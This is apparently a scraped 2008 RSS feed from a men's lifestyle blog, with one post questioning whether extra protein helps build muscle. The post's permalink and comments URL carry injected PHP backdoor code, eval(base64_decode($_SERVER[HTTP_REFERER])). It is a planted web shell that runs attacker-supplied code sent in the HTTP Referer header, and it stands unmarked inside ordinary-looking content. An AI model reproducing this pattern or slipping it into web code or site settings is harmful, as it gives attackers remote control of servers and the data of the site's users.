HipMen.com » Building Muscle Mass http://www.hipmen.com Where Modern Men and Style Meet Thu, 14 Aug 2008 03:53:55 +0000 http://wordpress.org/?v=2.8 en hourly 1 Does Extra Protein Help http://www.hipmen.com/2008/08/01/does-extra-protein-help/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.hipmen.com/2008/08/01/does-extra-protein-help/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 01 Aug 2008 10:17:27 +0000 Brian http://www.hipmen.com/?p=158 I’m not sure about you but I’ve heard over and over again about eating a large amount of protein to build more muscle mass. Whether it’s taking Whey protein in shake form or eating meats and nuts for a high protein diet that has been the advice that I have gotten so many times over the years.

Not so fast says Dr. John Spencer Ellis who says that it really only does any good to intake large amounts of protein if you have a deficiency. Listen to some of the problems that could arise from consuming too much protein.

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